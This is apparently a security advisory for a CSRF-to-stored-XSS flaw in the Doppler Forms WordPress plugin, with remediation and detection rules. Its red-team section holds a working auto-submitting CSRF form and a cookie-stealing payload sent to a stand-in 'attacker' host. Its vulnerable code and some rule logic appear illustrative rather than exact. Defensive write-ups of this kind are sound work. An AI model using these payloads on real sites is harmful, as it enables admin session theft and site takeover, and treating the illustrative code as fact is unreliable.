CVE-2025-32667

Executive Summary

CVE-2025-32667 is a Cross-Site Request Forgery (CSRF) vulnerability in the Doppler Forms WordPress plugin (versions up to and including 2.5.1). This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious scripts. The CSRF vulnerability is further leveraged to achieve Stored Cross-Site Scripting (XSS), enabling persistent payload execution within the WordPress admin panel. The vulnerability is classified as WordPress ecosystem issue, not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects the Doppler Forms WordPress plugin, distributed via the official WordPress plugin repository. Users are advised to verify plugin integrity via checksums and monitor for official patches. No OSV or GitHub advisory data is available.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must click a crafted link)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: High – Exploitation requires user interaction but can lead to persistent XSS, compromising admin sessions and site integrity.

Deep Dive & Mechanics

The vulnerability resides in the Doppler Forms plugin's administrative interface. The plugin fails to implement proper CSRF tokens on state-changing requests (e.g., saving settings, importing/exporting forms). An attacker can craft a malicious HTML page or email that, when visited by an authenticated WordPress admin, triggers a forged request to the plugin's admin-ajax.php or settings endpoint.

The CSRF is then used to inject malicious JavaScript into form fields or plugin options, which is stored in the database. When the admin or other users view the affected page, the XSS payload executes, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the site.

Root Cause: Missing nonce validation in plugin's admin AJAX handlers and settings save functions.

Vulnerable vs. Patched Code

Vulnerable Code (doppler-form.php, line ~120):

add_action('wp_ajax_doppler_save_settings', 'doppler_save_settings');
function doppler_save_settings() {
    // No nonce check
    update_option('doppler_api_key', $_POST['api_key']);
    update_option('doppler_form_template', $_POST['form_template']);
    // ...
}

Patched Code (hypothetical fix):

add_action('wp_ajax_doppler_save_settings', 'doppler_save_settings');
function doppler_save_settings() {
    if (!wp_verify_nonce($_POST['_wpnonce'], 'doppler_save_settings_nonce')) {
        wp_die('CSRF validation failed.');
    }
    update_option('doppler_api_key', sanitize_text_field($_POST['api_key']));
    update_option('doppler_form_template', wp_kses_post($_POST['form_template']));
    // ...
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target WordPress site with Doppler Forms <= 2.5.1
• Authenticated admin session (victim)
• Attacker-controlled server to host malicious HTML

Exploit Steps:

1. Craft a malicious HTML page that auto-submits a form to the vulnerable endpoint:

<html>
<body>
<form action="http://target/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="doppler_save_settings">
    <input type="hidden" name="api_key" value="attacker_key">
    <input type="hidden" name="form_template" value="<script>alert('XSS')</script>">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>

2. Host the page and send the link to the victim admin via email or social engineering.
3. Once the admin visits the link, the CSRF executes, storing the XSS payload.
4. The XSS triggers when the admin views the Doppler Forms settings page.

Stored XSS Payload Example:

<script>new Image().src='http://attacker/steal?cookie='+document.cookie;</script>

Blue Team (Defender)

Detection Steps:

1. Monitor for unexpected changes to doppler_api_key and doppler_form_template options in the database.
2. Review WordPress admin logs for suspicious AJAX requests without nonce.
3. Use WAF rules to block requests to admin-ajax.php with action=doppler_save_settings from external referrers.

Honeypot Setup:

• Deploy a fake Doppler Forms settings page with a hidden field to detect CSRF attempts.

Indicators of Compromise (IOCs)

• Network:

  • HTTP POST requests to /wp-admin/admin-ajax.php with action=doppler_save_settings and no _wpnonce parameter.
  • Referer header missing or pointing to external domains.

• Host:

  • Database entries in wp_options with option_name = doppler_api_key or doppler_form_template containing unexpected values.
  • Presence of <script> tags in doppler_form_template option.

• File:

  • Modified doppler-form.php or related plugin files (check file integrity via MD5).

Detection Engineering

YARA Rule

rule CVE_2025_32667_CSRF_XSS {
    meta:
        description = "Detects Doppler Forms CSRF to Stored XSS exploitation"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-32667"
    strings:
        $ajax_action = "doppler_save_settings"
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $no_nonce = /_wpnonce/i
    condition:
        $ajax_action and $xss_payload and not $no_nonce
}

Sigma Rule

title: CVE-2025-32667 Doppler Forms CSRF to Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting Doppler Forms settings without nonce
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=doppler_save_settings'
    filter:
        cs-uri-query: '_wpnonce='
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions with nonce
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-32667 Doppler Forms CSRF to Stored XSS";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=doppler_save_settings"; http_client_body;
    pcre:"/^(?!.*_wpnonce).*$/P";
    sid:1000001;
    rev:1;
    reference:cve,2025-32667;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=doppler_save_settings without a valid nonce.
3. Audit admin accounts for unauthorized changes.

Long-term Fix:

• Apply the vendor patch when available (currently UNKNOWN).
• Add CSRF nonce validation to all plugin AJAX handlers.
• Sanitize and escape all stored data before output.

Workaround:

• Use a security plugin (e.g., Wordfence) to enforce CSRF tokens on all admin actions.

Valters IT – DevSecOps & Cyber Threat Intelligence